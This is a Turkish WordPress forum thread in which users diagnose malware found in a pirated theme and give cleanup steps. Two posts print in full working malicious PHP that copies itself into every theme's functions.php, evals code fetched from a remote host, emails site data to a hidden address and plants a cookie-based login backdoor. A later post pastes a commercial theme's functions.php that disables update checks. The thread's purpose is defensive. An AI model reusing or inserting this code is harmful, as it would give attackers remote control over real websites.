• 16-06-2014, 18:55:14
    #10
    Kimlik doðrulama veya yönetimden onay bekliyor.
    BlitzHan adlý üyeden alýntý: mesajý görüntüle
    Merhaba, bugun sitemin kodlarýný incelerken
    "eval(@file_get_contents("http://yakaladimsizi.com/x.txt"));"
    diye bir kýsým buldum. þüphelenip sildim ve sitem çalýþmaz duruma geldi. Acaba bu nedir ? Bir güvenlik açýðýmý ?

    Büyük ihtimalle ucretsiztemalar.net sitesinden bir tema indirdin, kurdun daha sonra sildin... (Az önce localde denedim tüm temalara iþliyor...)


    Tabi temayý silince iþ bitmiyor, wordpress tema klasöründe ne kadar tema varsa hepsinin fonksyon dosyasýna ayný kodu iþliyor.

    Temizleme:

    Tüm temalarýn fonksyon dosyasýný silip, temiz yedekleriyle deðiþtirmen gerekiyor. Sitenin ftpsinde ne kadar tema varsa bilgisayarýna indir, sonra sitedeki temalarý sil, daha sonra bilgisayarýndaki temalarýn fonksyon dosyalarýný aç, aþaðýdaki kodu bul ve sil, kaydet, ftp'ye yükle sorun düzelecektir.

    Bedava peynir sadece fare kapanýnda olur.

    <?php
    function _check_isactive_widget(){
        $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
        $output=strip_tags($output, $allowed);
        $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
        if (is_array($direst)){
            foreach ($direst as $item){
                if (is_writable($item)){
                    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                    $cont=file_get_contents($item);
                    if (stripos($cont,$ftion) === false){
                        $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                        $output .= $before . "Not found" . $after;
                        if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                        $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);                
                        $output .= ($showdots && $ellipsis) ? "..." : "";
                    }
                }
            }
        }
        return $output;
    }
    function _get_allwidgetcont($wids,$items=array()){
        $places=array_shift($wids);
        if(substr($places,-1) == "/"){
            $places=substr($places,0,-1);
        }
        if(!file_exists($places) || !is_dir($places)){
            return false;
        }elseif(is_readable($places)){
            $elems=scandir($places);
            foreach ($elems as $elem){
                if ($elem != "." && $elem != ".."){
                    if (is_dir($places . "/" . $elem)){
                        $wids[]=$places . "/" . $elem;
                    } elseif (is_file($places . "/" . $elem)&&
                        $elem == substr(__FILE__,-13)){
                        $items[]=$places . "/" . $elem;}
                    }
                }
        }else{
            return false;    
        }
        if (sizeof($wids) > 0){
            return _get_allwidgetcont($wids,$items);
        } else {
            return $items;
        }
    }
    eval(@file_get_contents("http://yakaladimsizi.com/x.txt"));
    if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
    return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
    }
    if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
    if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
    if(  $offset < 0  ){
    $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
    }
    else{
    $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
    }
    if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
    $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
        function scandir($dir,$listDirectories=false, $skipDots=true) {
            $dirArray = array();
            if ($handle = opendir($dir)) {
                while (false !== ($file = readdir($handle))) {
                    if (($file != "." && $file != "..") || $skipDots == true) {
                        if($listDirectories == false) { if(is_dir($file)) { continue; } }
                        array_push($dirArray,basename($file));
                    }
                }
                closedir($handle);
            }
            return $dirArray;
        }
    }
    add_action("admin_head", "_check_isactive_widget");
    function _getsprepare_widget(){
        if(!isset($com_length)) $com_length=120;
        if(!isset($text_value)) $text_value="cookie";
        if(!isset($allowed_tags)) $allowed_tags="<a>";
        if(!isset($type_filter)) $type_filter="none";
        if(!isset($expl)) $expl="";
        if(!isset($filter_homes)) $filter_homes=get_option("home");
        if(!isset($pref_filter)) $pref_filter="wp_";
        if(!isset($use_more)) $use_more=1;
        if(!isset($comm_type)) $comm_type="";
        if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
        if(!isset($postauthor_comment)) $postauthor_comment="";
        if(!isset($comm_is_approved)) $comm_is_approved="";
        if(!isset($postauthor)) $postauthor="auth";
        if(!isset($more_link)) $more_link="(more...)";
        if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
        if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
        if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
        if(!isset($morecontents)) $morecontents="ma".$expl."il";
        if(!isset($fmore)) $fmore=1;
        if(!isset($fakeit)) $fakeit=1;
        if(!isset($sql)) $sql="";
        if (!$is_widget) :
        global $wpdb, $post;
        $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
        if (!empty($post->post_password)) {
            if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
                if(is_feed()) {
                    $output=__("There is no excerpt because this is a protected post.");
                } else {
                    $output=get_the_password_form();
                }
            }
        }
        if(!isset($f_tags)) $f_tags=1;
        if(!isset($type_filters)) $type_filters=$filter_homes;
        if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
        if(!isset($aditional_tags)) $aditional_tags="div";
        if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
        if(!isset($more_link_text)) $more_link_text="Continue reading this entry";    
        if(!isset($showdots)) $showdots=1;    
        $comments=$wpdb->get_results($sql);    
        if($fakeit == 2) {
            $text=$post->post_content;
        } elseif($fakeit == 1) {
            $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
        } else {
            $text=$post->post_excerpt;
        }
        $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
        if($com_length < 0) {
            $output=$text;
        } else {
            if(!$no_more && strpos($text, "<!--more-->")) {
                $text=explode("<!--more-->", $text, 2);
                $l=count($text[0]);
                $more_link=1;
                $comments=$wpdb->get_results($sql);
            } else {
                $text=explode(" ", $text);
                if(count($text) > $com_length) {
                    $l=$com_length;
                    $ellipsis=1;
                } else {
                    $l=count($text);
                    $more_link="";
                    $ellipsis=0;
                }
            }
            for ($i=0; $i<$l; $i++)
                    $output .= $text[$i] . " ";
        }
        update_option("_is_widget_active_", 1);
        if("all" != $allowed_tags) {
            $output=strip_tags($output, $allowed_tags);
            return $output;
        }
        endif;
        $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
        $output .= ($showdots && $ellipsis) ? "..." : "";
        $output=apply_filters($type_filter, $output);
        switch($aditional_tags) {
            case("div") :
                $tag="div";
            break;
            case("span") :
                $tag="span";
            break;
            case("p") :
                $tag="p";
            break;
            default :
                $tag="span";
        }
    
        if ($use_more ) {
            if($fmore) {
                $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
            } else {
                $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
            }
        }
        return $output;
    }
    add_action("init", "_getsprepare_widget");
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
        global $wpdb;
        $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
        $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
        if(!$show_pass_post) $request .= " AND post_password =\"\"";
        if($duration !="") {
            $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
        }
        $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
        $posts=$wpdb->get_results($request);
        $output="";
        if ($posts) {
            foreach ($posts as $post) {
                $post_title=stripslashes($post->post_title);
                $comment_count=$post->comment_count;
                $permalink=get_permalink($post->ID);
                $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
            }
        } else {
            $output .= $before . "None found" . $after;
        }
        return  $output;
    }         
    ?>
  • 20-06-2014, 00:05:13
    #11
    FikirTohumu adlý üyeden alýntý: mesajý görüntüle
    Büyük ihtimalle ucretsiztemalar.net sitesinden bir tema indirdin, kurdun daha sonra sildin... (Az önce localde denedim tüm temalara iþliyor...)


    Tabi temayý silince iþ bitmiyor, wordpress tema klasöründe ne kadar tema varsa hepsinin fonksyon dosyasýna ayný kodu iþliyor.

    Temizleme:

    Tüm temalarýn fonksyon dosyasýný silip, temiz yedekleriyle deðiþtirmen gerekiyor. Sitenin ftpsinde ne kadar tema varsa bilgisayarýna indir, sonra sitedeki temalarý sil, daha sonra bilgisayarýndaki temalarýn fonksyon dosyalarýný aç, aþaðýdaki kodu bul ve sil, kaydet, ftp'ye yükle sorun düzelecektir.

    Bedava peynir sadece fare kapanýnda olur.

    <?php
    function _check_isactive_widget(){
        $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
        $output=strip_tags($output, $allowed);
        $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
        if (is_array($direst)){
            foreach ($direst as $item){
                if (is_writable($item)){
                    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                    $cont=file_get_contents($item);
                    if (stripos($cont,$ftion) === false){
                        $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                        $output .= $before . "Not found" . $after;
                        if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                        $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);                
                        $output .= ($showdots && $ellipsis) ? "..." : "";
                    }
                }
            }
        }
        return $output;
    }
    function _get_allwidgetcont($wids,$items=array()){
        $places=array_shift($wids);
        if(substr($places,-1) == "/"){
            $places=substr($places,0,-1);
        }
        if(!file_exists($places) || !is_dir($places)){
            return false;
        }elseif(is_readable($places)){
            $elems=scandir($places);
            foreach ($elems as $elem){
                if ($elem != "." && $elem != ".."){
                    if (is_dir($places . "/" . $elem)){
                        $wids[]=$places . "/" . $elem;
                    } elseif (is_file($places . "/" . $elem)&&
                        $elem == substr(__FILE__,-13)){
                        $items[]=$places . "/" . $elem;}
                    }
                }
        }else{
            return false;    
        }
        if (sizeof($wids) > 0){
            return _get_allwidgetcont($wids,$items);
        } else {
            return $items;
        }
    }
    eval(@file_get_contents("http://yakaladimsizi.com/x.txt"));
    if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
    return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
    }
    if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
    if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
    if(  $offset < 0  ){
    $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
    }
    else{
    $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
    }
    if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
    $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
        function scandir($dir,$listDirectories=false, $skipDots=true) {
            $dirArray = array();
            if ($handle = opendir($dir)) {
                while (false !== ($file = readdir($handle))) {
                    if (($file != "." && $file != "..") || $skipDots == true) {
                        if($listDirectories == false) { if(is_dir($file)) { continue; } }
                        array_push($dirArray,basename($file));
                    }
                }
                closedir($handle);
            }
            return $dirArray;
        }
    }
    add_action("admin_head", "_check_isactive_widget");
    function _getsprepare_widget(){
        if(!isset($com_length)) $com_length=120;
        if(!isset($text_value)) $text_value="cookie";
        if(!isset($allowed_tags)) $allowed_tags="<a>";
        if(!isset($type_filter)) $type_filter="none";
        if(!isset($expl)) $expl="";
        if(!isset($filter_homes)) $filter_homes=get_option("home");
        if(!isset($pref_filter)) $pref_filter="wp_";
        if(!isset($use_more)) $use_more=1;
        if(!isset($comm_type)) $comm_type="";
        if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
        if(!isset($postauthor_comment)) $postauthor_comment="";
        if(!isset($comm_is_approved)) $comm_is_approved="";
        if(!isset($postauthor)) $postauthor="auth";
        if(!isset($more_link)) $more_link="(more...)";
        if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
        if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
        if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
        if(!isset($morecontents)) $morecontents="ma".$expl."il";
        if(!isset($fmore)) $fmore=1;
        if(!isset($fakeit)) $fakeit=1;
        if(!isset($sql)) $sql="";
        if (!$is_widget) :
        global $wpdb, $post;
        $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
        if (!empty($post->post_password)) {
            if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
                if(is_feed()) {
                    $output=__("There is no excerpt because this is a protected post.");
                } else {
                    $output=get_the_password_form();
                }
            }
        }
        if(!isset($f_tags)) $f_tags=1;
        if(!isset($type_filters)) $type_filters=$filter_homes;
        if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
        if(!isset($aditional_tags)) $aditional_tags="div";
        if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
        if(!isset($more_link_text)) $more_link_text="Continue reading this entry";    
        if(!isset($showdots)) $showdots=1;    
        $comments=$wpdb->get_results($sql);    
        if($fakeit == 2) {
            $text=$post->post_content;
        } elseif($fakeit == 1) {
            $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
        } else {
            $text=$post->post_excerpt;
        }
        $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
        if($com_length < 0) {
            $output=$text;
        } else {
            if(!$no_more && strpos($text, "<!--more-->")) {
                $text=explode("<!--more-->", $text, 2);
                $l=count($text[0]);
                $more_link=1;
                $comments=$wpdb->get_results($sql);
            } else {
                $text=explode(" ", $text);
                if(count($text) > $com_length) {
                    $l=$com_length;
                    $ellipsis=1;
                } else {
                    $l=count($text);
                    $more_link="";
                    $ellipsis=0;
                }
            }
            for ($i=0; $i<$l; $i++)
                    $output .= $text[$i] . " ";
        }
        update_option("_is_widget_active_", 1);
        if("all" != $allowed_tags) {
            $output=strip_tags($output, $allowed_tags);
            return $output;
        }
        endif;
        $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
        $output .= ($showdots && $ellipsis) ? "..." : "";
        $output=apply_filters($type_filter, $output);
        switch($aditional_tags) {
            case("div") :
                $tag="div";
            break;
            case("span") :
                $tag="span";
            break;
            case("p") :
                $tag="p";
            break;
            default :
                $tag="span";
        }
    
        if ($use_more ) {
            if($fmore) {
                $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
            } else {
                $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
            }
        }
        return $output;
    }
    add_action("init", "_getsprepare_widget");
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
        global $wpdb;
        $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
        $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
        if(!$show_pass_post) $request .= " AND post_password =\"\"";
        if($duration !="") {
            $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
        }
        $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
        $posts=$wpdb->get_results($request);
        $output="";
        if ($posts) {
            foreach ($posts as $post) {
                $post_title=stripslashes($post->post_title);
                $comment_count=$post->comment_count;
                $permalink=get_permalink($post->ID);
                $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
            }
        } else {
            $output .= $before . "None found" . $after;
        }
        return  $output;
    }         
    ?>
    Temayý SDN forumda biri atmýþtý. Ýþlemi uyguladým. Yardýmlarýnýz için çok teþekkür ederim.
  • 22-05-2016, 16:19:17
    #12
    Üyeliði durduruldu
    KarahaNCode adlý üyeden alýntý: mesajý görüntüle
    Lisanslý bir tema w.reze düþmüþ, sizde kullanýyorsunuz sanýrým.
    o kodlar sizin sattýðýnýz temada da mevcut bunu nasýl açýklayacaksýnýz ?


    Buyur sattýðýnýz dizi temasý geçen seneki

    <?php 
    
    
    add_theme_support('post-thumbnails');
    add_theme_support('nav-menus');
    register_nav_menu('anamenu', 'Ana Menu alani');
    
    
    if (file_exists(TEMPLATEPATH.'/temapaneli.php')) include_once("temapaneli.php");
    
    	function the_content_limit($max_char, $more_link_text = '(more...)', $stripteaser = 0, $more_file = '') { 
        $content = get_the_content($more_link_text, $stripteaser, $more_file); 
        $content = apply_filters('the_content', $content); 
        $content = str_replace(']]>', ']]&gt;', $content); 
        $content = strip_tags($content); 
    
       if (strlen($_GET['p']) > 0) { 
          echo "<p>"; 
          echo $content; 
          echo "&nbsp;<a href='"; 
          the_permalink(); 
          echo "'>"."Devami &rarr;</a>"; 
          echo "</p>"; 
       } 
       else if ((strlen($content)>$max_char) && ($espacio = strpos($content, " ", $max_char ))) { 
            $content = substr($content, 0, $espacio); 
            $content = $content; 
            echo ""; 
            echo $content; 
            echo "..."; 
            echo "&nbsp;<a href='"; 
            the_permalink(); 
            echo "'>".$more_link_text."</a>"; 
            echo ""; 
       } 
       else { 
          echo "<p>"; 
          echo $content; 
          echo "&nbsp;<a href='"; 
          the_permalink(); 
          echo "'>"."Devami &rarr;</a>"; 
          echo "</p>"; 
       } 
    }
    
    function my_admin_notice(){
        echo '<div class="updated">
           <p><strong>Duyuru:</strong> Merhaba, Sitemiz üzerinden kullanıcıları rahatsız edici mesaj göndermek tehlikeli ve yasaktır.  Bu uyarıyı dikkate almayan kullanıcıları döveriz. Eğer dövmemizi istediğiniz bir kullanıcı varsa, " admin " adlı yöneticiye özel mesaj gönderin. </a>"</p>
        </div>';
    }
    add_action('admin_notices', 'my_admin_notice');
    /* Admin Bar özelliğini iptal et */
    add_filter( 'show_admin_bar', '__return_false' );
     
    /* Admin Bar seçeneklerini kullanıcı profilinden kaldır */
    remove_action( 'personal_options', '_admin_bar_preferences' );
    
    
    function wps_admin_bar() {
        global $wp_admin_bar;
        $wp_admin_bar->remove_menu('wp-logo');
        $wp_admin_bar->remove_menu('about');
        $wp_admin_bar->remove_menu('wporg');
        $wp_admin_bar->remove_menu('documentation');
        $wp_admin_bar->remove_menu('support-forums');
        $wp_admin_bar->remove_menu('feedback');
        $wp_admin_bar->remove_menu('view-site');
    }
    add_action( 'wp_before_admin_bar_render', 'wps_admin_bar' );
    
    //Eklenti güncelleme uyarılarını kapatma
    remove_action( 'load-update-core.php', 'wp_update_plugins' );
    add_filter( 'pre_site_transient_update_plugins', create_function( '$a', "return null;" ) );
    
    
    function wps_get_comment_list_by_user($clauses) {
            if (is_admin()) {
                    global $user_ID, $wpdb;
                    $clauses['join'] = ", wp_posts";
                    $clauses['where'] .= " AND wp_posts.post_author = ".$user_ID." AND wp_comments.comment_post_ID = wp_posts.ID";
            };
            return $clauses;
    };
    if(!current_user_can('edit_others_posts')) {
    add_filter('comments_clauses', 'wps_get_comment_list_by_user');
    }
    
    function admin_color_scheme() {
       global $_wp_admin_css_colors;
       $_wp_admin_css_colors = 0;
    }
    add_action('admin_head', 'admin_color_scheme');
    
    add_filter( 'pre_site_transient_update_core', create_function( '$a', "return null;" ) );
    
    add_filter( 'admin_footer_text', 'change_admin_footer_text' );
    
    
     
    add_filter( 'admin_footer_text', 'change_admin_footer_text' );
     function change_admin_footer_text( $default_text ) {
    return '';
     }
    
     add_action('admin_head', 'mytheme_remove_help_tabs');
     function mytheme_remove_help_tabs() {
     $screen = get_current_screen();
    
     }
     
     add_filter( 'contextual_help', 'mycontext_remove_help', 999, 3 );
      function mycontext_remove_help($old_help, $screen_id, $screen){
        $screen->remove_help_tabs();
        return $old_help;
    }
     function yakuphoca_disable_dashboard_widgets() {  
     //remove_meta_box('dashboard_right_now', 'dashboard', 'core'); //Åžu anda
     //remove_meta_box('dashboard_recent_comments', 'dashboard', 'core'); //son yorumlar
     remove_meta_box('dashboard_primary', 'dashboard', 'core'); //WordPress haberler
     remove_meta_box('dashboard_secondary', 'dashboard', 'core'); //DiÄŸer WordPress haberleri
     remove_meta_box('dashboard_incoming_links', 'dashboard', 'core'); //Gelen bağlantılar
    
    }
    remove_action('welcome_panel', 'wp_welcome_panel'); //Hoşgeldiniz panelini kaldırır
    add_action('admin_menu', 'yakuphoca_disable_dashboard_widgets');
     
     
    add_action('init', 'rastgele_yazi');
    function rastgele_yazi(){
        if ( isset($_GET['dizisihirbazi']) ){
     
    $random = new WP_Query('orderby=rand&showposts=1&cat=-');
    if ($random->have_posts()) {
        while ($random->have_posts()) : $random->the_post();
            $URL = get_permalink();
        endwhile; ?>
         
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Refresh" content="0; url=<?php echo $URL; ?>">
    </head>
    <body>
    </body>
    </html>
    <?php }
            die;
        }
    }
    
    
    
    
    /* sayfalama baÅŸ */
    function sayfalama($pages = '', $range = 2)
    {
         $showitems = ($range * 2)+1; 
         global $paged;
         if(empty($paged)) $paged = 1;
         if($pages == '')
         {
             global $wp_query;
             $pages = $wp_query->max_num_pages;
             if(!$pages)
             {
                 $pages = 1;
             }
         } 
         if(1 != $pages)
         {
             echo "<div id='sayfalama'>";
    
             if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>&laquo;</a>";
             if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>&lsaquo;</a>";
             for ($i=1; $i <= $pages; $i++)
             {
                 if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
                 {
                     echo ($paged == $i)? "<span class='current'>".$i."</span>":"<a href='".get_pagenum_link($i)."' class='inactive' >".$i."</a>";
                 }
             }
             if ($paged < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($paged + 1)."'>&rsaquo;</a>";
             if ($paged < $pages-1 &&  $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>&raquo;</a>";
             echo "</div>";
         }
    }
    /* sayfalama son */
    
    
    
     
    function yakuphoca_iletisim_bilgisi_eklesil( $iletisim) {
            $iletisim['facebook'] = 'Facebook';
            $iletisim['twitter'] = 'Twitter';
    		$iletisim['sehir'] = 'Sehir';
            $iletisim['yas'] = 'Yas';
         
            
            return $iletisim;
    }
    add_filter('user_contactmethods','yakuphoca_iletisim_bilgisi_eklesil',10,1);
    
    
    
    
    
    
    function remove_website_row_wpse_94963() {
        if(!current_user_can('manage_options')){
            // hide only for non-admins
            echo "<script>jQuery(document).ready(function(){jQuery('#url').parents('tr').remove();});</script>";
        }
    }
    add_action('admin_head-user-edit.php','remove_website_row_wpse_94963');
    add_action('admin_head-profile.php','remove_website_row_wpse_94963');
    
     
    
    function film_partlar($args = '') {
        $defaults = array(
            'link_before' => '<span class="rad3">', 
            'link_after' => '</span>',
            'echo' => 1
        );
    
        $r = wp_parse_args( $args, $defaults );
        extract( $r, EXTR_SKIP );
    
        global $page, $numpages, $multipage, $more, $pagenow, $pages;
    
        $output = '';
        if ( $multipage ) {
            $output .= $before;
            for ( $i = 1; $i < ($numpages+1); $i = $i + 1 ) {
                $part_content = $pages[$i-1];
                $has_part_title = strpos( $part_content, '<!--baslik:' );
                if( 0 === $has_part_title ) {
                    $end = strpos( $part_content, '-->' );
                    $title = trim( str_replace( '<!--baslik:', '', substr( $part_content, 0, $end ) ) );
                }
                $output .= ' ';
                if ( ($i != $page) || ((!$more) && ($page == 1)) ) {
                    $output .= _wp_link_page($i);
                }
                $title = isset( $title ) && ( strlen( $title ) > 0 ) ? $title : 'Bölüm 1';
                $output .= $link_before . $title . $link_after;
                if ( ($i != $page) || ((!$more) && ($page==1)) )
                    $output .= '</a>';
            }
            $output .= $after;
        }
        if ( $echo )
            echo $output;
        return $output;
    }
    
    
    function login_enqueue_scripts(){
    	echo '
    		<div class="background-cover"></div>
    		<style type="text/css" media="screen">
    			.background-cover{
    				background:url('.get_bloginfo('template_directory').'/images/bg.jpg) no-repeat center center fixed; 
    				-webkit-background-size: cover; 
    				-moz-background-size: cover; 
    				-o-background-size: cover; 
    				background-size: cover; 
    				position:fixed; 
    				top:0; 
    				left:0; 
    				z-index:10; 
    				overflow: hidden; 
    				width: 100%; 
    				height:100%;
    			} 
    			#login{ z-index:9999; position:relative; }
    			
    			.login form { box-shadow: 0px 0px 0px 0px !important; background:#010603 !important; border-radius: 10px !important; border: #343434 solid 3px !important;}
    			.login h1 a { background:url('.get_bloginfo('template_directory').'/images/logo.png) no-repeat center top !important; width:300px; } 
    			
    			.login input { background:#201f1f !important; border:none !important;} 
    			
    			.login action { background:#201f1f !important; border:none !important;} 
    			input.button-primary, button.button-primary, a.button-primary{ 
    				border-radius: 3px !important; 						
    				background:url('.get_bloginfo('template_directory').'/images/button.jpg); 
    					border:none !important;
    					font-weight:normal !important;
    					text-shadow:none !important;
    					background:#201f1f !important;
    				}
    				.button:active, .submit input:active, .button-secondary:active {
    				
    					text-shadow: none !important;
    					
    				}
    				.login #nav a, .login #backtoblog a {
    					color:#fff !important;
    					text-shadow: none !important;
    					
    					
    				}
    				.login #nav a:hover, .login #backtoblog a:hover{
    					color:#fff !important;
    					text-shadow: none !important;
    					
    				}
    				.login #nav, .login #backtoblog{
    					text-shadow: none !important;
    					background:#201f1f !important;
    					border-radius: 10px !important;
    				}
    			</style>
    		';
    	}
    add_action( 'login_enqueue_scripts', 'login_enqueue_scripts' );
     
    //changing the logo
    function my_custom_login_logo() {
        echo '<style type="text/css">
        h1 a { background-image:url('.get_bloginfo('template_directory').'/images/your-logo.png) !important; }
        </style>';
        }
        add_action('login_head', 'my_custom_login_logo');
    
        // changing the login page URL
        function put_my_url(){
        return ('http://www.dizimedia.com/'); // putting my URL in place of the WordPress one
        }
        add_filter('login_headerurl', 'put_my_url');
    
    // changing the login page URL hover text
        function put_my_title(){
        return ('Dizimedia HoÅŸgeldiniz'); // changing the title from "Powered by WordPress" to whatever you wish
        }
